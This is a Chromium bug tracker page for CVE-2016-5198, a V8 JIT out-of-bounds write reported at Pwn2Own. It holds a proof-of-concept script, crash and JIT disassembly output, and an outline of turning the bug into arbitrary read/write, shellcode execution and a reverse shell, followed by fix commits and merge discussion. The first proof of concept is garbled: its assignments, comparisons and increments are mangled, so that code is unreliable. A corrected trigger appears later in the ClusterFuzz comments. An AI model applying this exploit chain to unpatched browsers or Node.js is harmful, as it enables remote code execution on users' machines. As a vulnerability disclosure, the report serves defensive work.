Pwn2Own: V8 OOB Bug. |
||||||||||||||||||||||||||||||
Issue description
POC
function Ctor() {
n == new Set();
}
function Check() {
n.xyz == 0x826852f4;
parseInt('AAAAAAAA');
}
for(var i==0; i<<2000; ++++i) {
Ctor();
}
for(var i==0; i<<2000; ++++i) {
Check();
}
Ctor();
Check();
print("finish");
----Stack
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
[-------------------------------------code-------------------------------------]
0x736e0a <_ZN2v88internal6String14GetFlatContentEv+106>: test ecx,ecx
0x736e0c <_ZN2v88internal6String14GetFlatContentEv+108>:
je 0x736e1a <_ZN2v88internal6String14GetFlatContentEv+122>
0x736e0e <_ZN2v88internal6String14GetFlatContentEv+110>:
mov rdi,QWORD PTR [rdi]
=> 0x736e11 <_ZN2v88internal6String14GetFlatContentEv+113>:
mov rax,QWORD PTR [rdi]
0x736e14 <_ZN2v88internal6String14GetFlatContentEv+116>:
call QWORD PTR [rax+0x20]
0x736e17 <_ZN2v88internal6String14GetFlatContentEv+119>: mov rdi,rax
0x736e1a <_ZN2v88internal6String14GetFlatContentEv+122>: lea rax,[rdi+rbx*2]
0x736e1e <_ZN2v88internal6String14GetFlatContentEv+126>: movabs rcx,0x200000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000736e11 in v8::internal::String::GetFlatContent() ()
gdb-peda$ print $rdi
$1 = 0x4141414141414141
First Step
Notice that poc.js:5+109 get the address(0x3fd3734c7d89) of PROPERTY_CELL_TYPE , which stores
global variable n . After that, the return of Set Constructor will be writen to n .
In the second loop, Check() will be optimized as this JIT code
<LazyCompile:*Ctor poc.js:5+0>: push rbp
<LazyCompile:*Ctor poc.js:5+1>: mov rbp,rsp
<LazyCompile:*Ctor poc.js:5+4>: push rsi
<LazyCompile:*Ctor poc.js:5+5>: push rdi
<LazyCompile:*Ctor poc.js:5+6>: sub rsp,0x8
<LazyCompile:*Ctor poc.js:5+10>: mov rax,QWORD PTR [rbp-0x8]
<LazyCompile:*Ctor poc.js:5+14>: mov QWORD PTR [rbp-0x18],rax
<LazyCompile:*Ctor poc.js:5+18>: mov rsi,rax
<LazyCompile:*Ctor poc.js:5+21>: cmp rsp,QWORD PTR [r13+0xb78]
<LazyCompile:*Ctor poc.js:5+28>: jae 0x1e16ccf79ca3 <LazyCompile:*Ctor poc.js:5+35>
<LazyCompile:*Ctor poc.js:5+30>: call 0x1e16ccf4ade0 <Builtin:StackCheck>
<LazyCompile:*Ctor poc.js:5+35>: movabs r10,0x3fd3734b1511
<LazyCompile:*Ctor poc.js:5+45>: push r10
<LazyCompile:*Ctor poc.js:5+47>: movabs rdx,0x3fd3734b1511
<LazyCompile:*Ctor poc.js:5+57>: movabs rdx,0x3fd3734b1511
<LazyCompile:*Ctor poc.js:5+67>: xor eax,eax
<LazyCompile:*Ctor poc.js:5+69>: mov rsi,QWORD PTR [rbp-0x18]
<LazyCompile:*Ctor poc.js:5+73>: mov rdi,rdx
<LazyCompile:*Ctor poc.js:5+76>: call 0x1e16ccf3a040 <Builtin:Construct>
<LazyCompile:*Ctor poc.js:5+81>: test al,0x1
<LazyCompile:*Ctor poc.js:5+83>: je 0x1e16ccf79d31 <LazyCompile:*Ctor poc.js:5+177>
<LazyCompile:*Ctor poc.js:5+89>: movabs r10,0x387980f08e51
<LazyCompile:*Ctor poc.js:5+99>: cmp QWORD PTR [rax-0x1],r10
<LazyCompile:*Ctor poc.js:5+103>: jne 0x1e16ccf79d36 <LazyCompile:*Ctor poc.js:5+182>
<LazyCompile:*Ctor poc.js:5+109>: movabs rbx,0x3fd3734c7d89
<LazyCompile:*Ctor poc.js:5+119>: mov QWORD PTR [rbx+0xf],rax
<LazyCompile:*Ctor poc.js:5+123>: lea rdx,[rbx+0xf]
<LazyCompile:*Ctor poc.js:5+127>: and rax,0xfffffffffff00000
<LazyCompile:*Ctor poc.js:5+133>: test BYTE PTR [rax+0x8],0x2
<LazyCompile:*Ctor poc.js:5+137>: je 0x1e16ccf79d20 <LazyCompile:*Ctor poc.js:5+160>
<LazyCompile:*Ctor poc.js:5+139>: mov rax,0xfffffffffff00000
<LazyCompile:*Ctor poc.js:5+146>: and rax,rbx
<LazyCompile:*Ctor poc.js:5+149>: test BYTE PTR [rax+0x8],0x4
<LazyCompile:*Ctor poc.js:5+153>: je 0x1e16ccf79d20 <LazyCompile:*Ctor poc.js:5+160>
<LazyCompile:*Ctor poc.js:5+155>: call 0x1e16ccf79380 <Stub:RecordWriteStub>
<LazyCompile:*Ctor poc.js:5+160>: movabs rax,0x3fd373404311
<LazyCompile:*Ctor poc.js:5+170>: mov rsp,rbp
<LazyCompile:*Ctor poc.js:5+173>: pop rbp
<LazyCompile:*Ctor poc.js:5+174>: ret 0x8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Second Step
Start at +35 and +45 , it gets the global variable n , and on +64 , it gets the property cell(pointer to
a FixedArray) of n . On +68 , it gets n's first property, and on +72 the number 0x826852f4 will be
writen to it.
In addition, v8 use map to identify objects, which is located on the first field of the object. A new Set's
map is different from a Set with some properties. In general, the optimized JIT code always check the map
of the target objects, and will deoptimize if the map has been changed.
So the problem is that it doesn't check the map of variable n in this optimized JIT code.
<LazyCompile:*Check poc.js:1+0>: push rbp
<LazyCompile:*Check poc.js:1+1>: mov rbp,rsp
<LazyCompile:*Check poc.js:1+4>: push rsi
<LazyCompile:*Check poc.js:1+5>: push rdi
<LazyCompile:*Check poc.js:1+6>: sub rsp,0x8
<LazyCompile:*Check poc.js:1+10>: mov rax,QWORD PTR [rbp-0x8]
<LazyCompile:*Check poc.js:1+14>: mov QWORD PTR [rbp-0x18],rax
<LazyCompile:*Check poc.js:1+18>: mov rsi,rax
<LazyCompile:*Check poc.js:1+21>: cmp rsp,QWORD PTR [r13+0xb78]
<LazyCompile:*Check poc.js:1+28>: jae 0x1e16ccf7a603 <LazyCompile:*Check poc.js:1+35>
<LazyCompile:*Check poc.js:1+30>: call 0x1e16ccf4ade0 <Builtin:StackCheck>
<LazyCompile:*Check poc.js:1+35>: movabs rax,0x3fd3734c7d89
<LazyCompile:*Check poc.js:1+45>: mov rax,QWORD PTR [rax+0xf]
<LazyCompile:*Check poc.js:1+49>: movabs r10,0x41e04d0a5e800000
<LazyCompile:*Check poc.js:1+59>: vmovq xmm0,r10
<LazyCompile:*Check poc.js:1+64>: mov rax,QWORD PTR [rax+0x7]
<LazyCompile:*Check poc.js:1+68>: mov rax,QWORD PTR [rax+0xf]
<LazyCompile:*Check poc.js:1+72>: vmovsd QWORD PTR [rax+0x7],xmm0
<LazyCompile:*Check poc.js:1+77>: movabs r10,0x3fd373404311
<LazyCompile:*Check poc.js:1+87>: push r10
<LazyCompile:*Check poc.js:1+89>: movabs r10,0x3fd3734c7129
<LazyCompile:*Check poc.js:1+99>: push r10
<LazyCompile:*Check poc.js:1+101>: movabs rdi,0x3fd3734b4041
<LazyCompile:*Check poc.js:1+111>: mov rsi,QWORD PTR [rbp-0x18]
<LazyCompile:*Check poc.js:1+115>: mov rsi,QWORD PTR [rdi+0x27]
<LazyCompile:*Check poc.js:1+119>: mov rdx,QWORD PTR [r13-0x60]
<LazyCompile:*Check poc.js:1+123>: mov eax,0x1
<LazyCompile:*Check poc.js:1+128>: mov ebx,0x2
<LazyCompile:*Check poc.js:1+133>: call 0x1e16ccf07d80 <Builtin:ArgumentsAdaptorTrampoline>
<LazyCompile:*Check poc.js:1+138>: movabs rax,0x3fd373404311
<LazyCompile:*Check poc.js:1+148>: mov rsp,rbp
<LazyCompile:*Check poc.js:1+151>: pop rbp
<LazyCompile:*Check poc.js:1+152>: ret 0x8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Third Step
After that we call Ctor() once, variable n will be set to the new Set , which has no properties. In
another word, it will point to the Empty FixedArray, which init at beginning of v8's process.
In addition, if we won't optimize Ctor() , the Check() function will be deoptimized when global
variable n is changed.
At last we call Check() , the number of 0x826852f4 will be writen to the first element of the Empty
FixedArray, OOB happens!
This bug can trigger by Set , Map , Uint8Array , Uint16Array , etc.
For our poc, v8 confuse the null string's map to a heap number, and write the double number 0x826852f4
to it, which cause the OneByteString string to be a External String type. So the data of the string is treated
as a pointer.
So far we have the oob r/w on the Empty FixedArray. As I mentioned, Empty FixedArray will be init at the
beginning of process. After this is the null String Object, so we can overwritten the null's length for
infoleak.
Besides, I use ab = new ArrayBuffer(0x4000); ...; {m.e = ab;} to set the address of
ArrayBuffer's pointer on the String's content, so I can get the pointer's address.
We can do three things via this OOB bug.
1. write a small int.
2. write a heap number.
3. write an Object's pointer
The small int in memory is the value * 2, for v8 use the LSB to identify if it is a pointer or number.
For a heap number, it stores a pointer which point to a double number and in my POC, it is an example of
the heap number write. So we can put an Object's pointer and use heap number write to overwrite the
structure of this object.
We use this strategy to modify the ArrayBuffer's length and Buffer pointer, then we can do Arbitrary
read/write.
Finally we read a function's JIT pointer, write shellcode on it and call it.
The shellcode for Chrome is to call IPC, and for docs is reverse tcp shell.
,
Oct 26 2016
Get correct Poc from c#1 testcase.
,
Oct 26 2016
,
Oct 26 2016
,
Oct 26 2016
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=5827486287134720 Job Type: linux_asan_d8 Platform Id: linux Crash Type: UNKNOWN READ Crash Address: 0x000000000000 Crash State: v8::internal::ExternalTwoByteString::GetChars v8::internal::String::GetFlatContent __RT_impl_Runtime_StringParseInt Minimized Testcase (0.20 Kb): Download: https://cluster-fuzz.appspot.com/download/AMIfv94GYK26TWIOssBTU2ToM3LRkwKDCB93XGZ6wCSZNFgc9O087XhdqEKzG7cfNQzwle1ysM9NkNTJK5JpEnppJ3NF03YZLUS2rNfwxpH2KbzUW7QCCBKlxzikTnOpwyZ4bITYV6nHSIppsO87KSZp0On_VWweOA?testcase_id=5827486287134720 function Ctor() { n = new Set(); } function Check() { n.xyz = 0x826852f4; parseInt(); } for(var i=0; i<2000; ++i) { Ctor(); } for(var i=0; i<2000; ++i) { Check(); } Ctor(); Check(); See https://dev.chromium.org/Home/chromium-security/bugs/reproducing-clusterfuzz-bugs for more information.
,
Oct 26 2016
,
Oct 26 2016
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/d0a047d440ea6283f9e63056cf5ec1fa3203e309 commit d0a047d440ea6283f9e63056cf5ec1fa3203e309 Author: bmeurer <bmeurer@chromium.org> Date: Wed Oct 26 11:11:20 2016 Revert of [compiler] Properly validate stable map assumption for globals. (patchset #3 id:40001 of https://codereview.chromium.org/2444233004/ ) Reason for revert: Breaks tree: http://build.chromium.org/p/client.v8/builders/V8%20Linux64%20GC%20Stress%20-%20custom%20snapshot/builds/8789 Original issue's description: > [compiler] Properly validate stable map assumption for globals. > > For global object property cells, we did not check that the map on the > previous object is still the same for which we actually optimized. So > the optimized code was not in sync with the actual state of the property > cell. When loading from such a global object property cell, Crankshaft > optimizes away any map checks (based on the stable map assumption), > leading to arbitrary memory access in the worst case. > > TurboFan has the same bug for stores, but is safe on loads because we > do appropriate map checks there. However mixing TurboFan and Crankshaft > still exposes the bug. > > R=yangguo@chromium.org > BUG= chromium:659475 TBR=yangguo@chromium.org # Skipping CQ checks because original CL landed less than 1 days ago. NOPRESUBMIT=true NOTREECHECKS=true NOTRY=true BUG= chromium:659475 Review-Url: https://codereview.chromium.org/2454513003 Cr-Commit-Position: refs/heads/master@{#40582} [modify] https://crrev.com/d0a047d440ea6283f9e63056cf5ec1fa3203e309/src/compiler/js-global-object-specialization.cc [modify] https://crrev.com/d0a047d440ea6283f9e63056cf5ec1fa3203e309/src/crankshaft/hydrogen-instructions.h [modify] https://crrev.com/d0a047d440ea6283f9e63056cf5ec1fa3203e309/src/crankshaft/hydrogen.cc [modify] https://crrev.com/d0a047d440ea6283f9e63056cf5ec1fa3203e309/src/runtime/runtime-utils.h [delete] https://crrev.com/a16701598c029320bc0b3f60727a5fc148e0b064/test/mjsunit/regress/regress-crbug-659475-1.js [delete] https://crrev.com/a16701598c029320bc0b3f60727a5fc148e0b064/test/mjsunit/regress/regress-crbug-659475-2.js
,
Oct 26 2016
,
Oct 26 2016
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6 commit 2bd7464ec1efc9eb24a38f7400119a5f2257f6e6 Author: bmeurer <bmeurer@chromium.org> Date: Wed Oct 26 13:43:45 2016 [compiler] Properly validate stable map assumption for globals. For global object property cells, we did not check that the map on the previous object is still the same for which we actually optimized. So the optimized code was not in sync with the actual state of the property cell. When loading from such a global object property cell, Crankshaft optimizes away any map checks (based on the stable map assumption), leading to arbitrary memory access in the worst case. TurboFan has the same bug for stores, but is safe on loads because we do appropriate map checks there. However mixing TurboFan and Crankshaft still exposes the bug. R=yangguo@chromium.org BUG= chromium:659475 Review-Url: https://codereview.chromium.org/2444233004 Cr-Commit-Position: refs/heads/master@{#40592} [modify] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/src/bailout-reason.h [modify] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/src/compiler/js-global-object-specialization.cc [modify] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/src/crankshaft/hydrogen.cc [modify] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/src/runtime/runtime-utils.h [add] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/test/mjsunit/regress/regress-crbug-659475-1.js [add] https://crrev.com/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6/test/mjsunit/regress/regress-crbug-659475-2.js
,
Oct 26 2016
,
Oct 26 2016
,
Oct 26 2016
,
Oct 26 2016
+ awhalley@ for M55 Merge review
,
Oct 26 2016
,
Oct 26 2016
[Automated comment] Request affecting a post-stable build (M54), manual review required.
,
Oct 26 2016
Your change meets the bar and is auto-approved for M55 (branch: 2883)
,
Oct 26 2016
,
Oct 26 2016
[Automated comment] Request affecting a post-stable build (M54), manual review required.
,
Oct 26 2016
+ bustamante@ (M54 Release owner)
,
Oct 26 2016
Approved for merge into M54
,
Oct 26 2016
,
Oct 27 2016
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/a7383b2403b27602c18d082f48b16017e5ee8ebc commit a7383b2403b27602c18d082f48b16017e5ee8ebc Author: Benedikt Meurer <bmeurer@google.com> Date: Thu Oct 27 04:01:06 2016 Merged: [compiler] Properly validate stable map assumption for globals. Revision: 2bd7464ec1efc9eb24a38f7400119a5f2257f6e6 BUG= chromium:659475 LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true TBR=yangguo@chromium.org Review URL: https://codereview.chromium.org/2449243004 . Cr-Commit-Position: refs/branch-heads/5.5@{#28} Cr-Branched-From: 3cbd5838bd8376103daa45d69dade929ee4e0092-refs/heads/5.5.372@{#1} Cr-Branched-From: b3c8b0ce2c9af0528837d8309625118d4096553b-refs/heads/master@{#40015} [modify] https://crrev.com/a7383b2403b27602c18d082f48b16017e5ee8ebc/src/bailout-reason.h [modify] https://crrev.com/a7383b2403b27602c18d082f48b16017e5ee8ebc/src/compiler/js-global-object-specialization.cc [modify] https://crrev.com/a7383b2403b27602c18d082f48b16017e5ee8ebc/src/crankshaft/hydrogen.cc [modify] https://crrev.com/a7383b2403b27602c18d082f48b16017e5ee8ebc/src/runtime/runtime-utils.h [add] https://crrev.com/a7383b2403b27602c18d082f48b16017e5ee8ebc/test/mjsunit/regress/regress-crbug-659475-1.js [add] https://crrev.com/a7383b2403b27602c18d082f48b16017e5ee8ebc/test/mjsunit/regress/regress-crbug-659475-2.js
,
Oct 27 2016
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/2aa98cc12ccd5c5a4e082e94383b851eade89ac2 commit 2aa98cc12ccd5c5a4e082e94383b851eade89ac2 Author: Benedikt Meurer <bmeurer@google.com> Date: Thu Oct 27 04:27:30 2016 Merged: [compiler] Properly validate stable map assumption for globals. Revision: 2bd7464ec1efc9eb24a38f7400119a5f2257f6e6 BUG= chromium:659475 LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true TBR=yangguo@chromium.org Review URL: https://codereview.chromium.org/2456763002 . Cr-Commit-Position: refs/branch-heads/5.4@{#71} Cr-Branched-From: 5ce282769772d94937eb2cb88eb419a6890c8b2d-refs/heads/5.4.500@{#2} Cr-Branched-From: ad07b49d7b47b40a2d6f74d04d1b76ceae2a0253-refs/heads/master@{#38841} [modify] https://crrev.com/2aa98cc12ccd5c5a4e082e94383b851eade89ac2/src/bailout-reason.h [modify] https://crrev.com/2aa98cc12ccd5c5a4e082e94383b851eade89ac2/src/compiler/js-global-object-specialization.cc [modify] https://crrev.com/2aa98cc12ccd5c5a4e082e94383b851eade89ac2/src/crankshaft/hydrogen.cc [modify] https://crrev.com/2aa98cc12ccd5c5a4e082e94383b851eade89ac2/src/runtime/runtime-utils.h [add] https://crrev.com/2aa98cc12ccd5c5a4e082e94383b851eade89ac2/test/mjsunit/regress/regress-crbug-659475-1.js [add] https://crrev.com/2aa98cc12ccd5c5a4e082e94383b851eade89ac2/test/mjsunit/regress/regress-crbug-659475-2.js
,
Oct 27 2016
+ligimole
,
Oct 27 2016
,
Oct 27 2016
ClusterFuzz has detected this issue as fixed in range 40591:40592. Detailed report: https://cluster-fuzz.appspot.com/testcase?key=5827486287134720 Job Type: linux_asan_d8 Platform Id: linux Crash Type: UNKNOWN READ Crash Address: 0x000000000000 Crash State: v8::internal::ExternalTwoByteString::GetChars v8::internal::String::GetFlatContent __RT_impl_Runtime_StringParseInt Fixed: V8: r40591:40592 Minimized Testcase (0.20 Kb): Download: https://cluster-fuzz.appspot.com/download/AMIfv94GYK26TWIOssBTU2ToM3LRkwKDCB93XGZ6wCSZNFgc9O087XhdqEKzG7cfNQzwle1ysM9NkNTJK5JpEnppJ3NF03YZLUS2rNfwxpH2KbzUW7QCCBKlxzikTnOpwyZ4bITYV6nHSIppsO87KSZp0On_VWweOA?testcase_id=5827486287134720 function Ctor() { n = new Set(); } function Check() { n.xyz = 0x826852f4; parseInt(); } for(var i=0; i<2000; ++i) { Ctor(); } for(var i=0; i<2000; ++i) { Check(); } Ctor(); Check(); See https://dev.chromium.org/Home/chromium-security/bugs/reproducing-clusterfuzz-bugs for more information. If you suspect that the result above is incorrect, try re-doing that job on the test case report page.
,
Oct 27 2016
,
Nov 2 2016
,
Nov 7 2016
Also needs backport for Node.js v4 and v6 LTS branches which we will handle in the Node.js repo.
,
Nov 7 2016
Is a CVE going to be issued for this?
,
Nov 8 2016
Yes, it made it on the release notes but not here, apologies. This is CVE-2016-5198
,
Nov 17 2016
bmeurer@: do you think this bug would be applicable to V8 3.28.79.19 (Node.js 0.12) as well? I cannot make the failure reproduce with that version of V8, but it would be good to know if it is theoretically possible.
,
Nov 17 2016
V8 3.28 doesn't have the map tracking feature for global properties, so not affected by ths bug.
,
Feb 2 2017
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Apr 25 2018
,
Jun 1 2018
This was landed on Node in https://github.com/nodejs/node/pull/10169. |
||||||||||||||||||||||||||||||
►
Sign in to add a comment |
||||||||||||||||||||||||||||||
Comment 1 by ClusterFuzz
, Oct 26 2016